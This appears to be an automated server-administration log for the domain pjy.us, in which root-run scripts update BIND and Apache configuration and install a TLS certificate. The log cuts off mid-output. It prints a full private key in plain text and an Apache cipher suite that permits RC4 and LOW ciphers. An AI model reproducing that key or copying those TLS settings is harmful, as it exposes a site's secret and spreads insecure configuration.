MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 18:57:48: 

PUT: /tmp/pkp238449

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-04 18:57:48: 

chmod 755 /tmp/pkp238449; /tmp/pkp238449; rm /tmp/pkp238449

2026-03-04 18:57:51: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-04 18:57:51: 

PUT: /tmp/pkp358025

#!/bin/bash
rndc reload pjy.us 2>&1


2026-03-04 18:57:51: 

chmod 755 /tmp/pkp358025; /tmp/pkp358025; rm /tmp/pkp358025

2026-03-04 18:57:51: 


zone reload up-to-date


2026-03-04 18:58:05: Establishing a connection
2026-03-04 18:58:05: 

PUT: /tmp/pkp943701

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb.crt

cat > $temp_file <<'endmsg'
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-04 18:58:06: 

chmod 755 /tmp/pkp943701; /tmp/pkp943701; rm /tmp/pkp943701

2026-03-04 18:58:06: 


dir=/etc/ssl/certs


2026-03-04 18:58:06: 

PUT: /tmp/pkp943802

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-04 18:58:06: 

chmod 755 /tmp/pkp943802; /tmp/pkp943802; rm /tmp/pkp943802

2026-03-04 18:58:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 34

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-04 18:58:06: 

PUT: /tmp/pkp770983

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_www_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf= 1'
fi


2026-03-04 18:58:06: 

chmod 755 /tmp/pkp770983; /tmp/pkp770983; rm /tmp/pkp770983

2026-03-04 18:58:06: 




2026-03-04 18:58:06: 

PUT: /tmp/pkp703737

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-04 18:58:06: 

chmod 755 /tmp/pkp703737; /tmp/pkp703737; rm /tmp/pkp703737

2026-03-04 18:58:06: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-04 18:58:06: Establishing a connection
2026-03-04 18:58:06: 

PUT: /tmp/pkp717952

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-04 18:58:06: 

chmod 755 /tmp/pkp717952; /tmp/pkp717952; rm /tmp/pkp717952

2026-03-04 18:58:06: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-04 18:58:06: 

PUT: /tmp/pkp623399

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_www_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-04 18:58:06: 

chmod 755 /tmp/pkp623399; /tmp/pkp623399; rm /tmp/pkp623399

2026-03-04 18:58:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf	1174

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
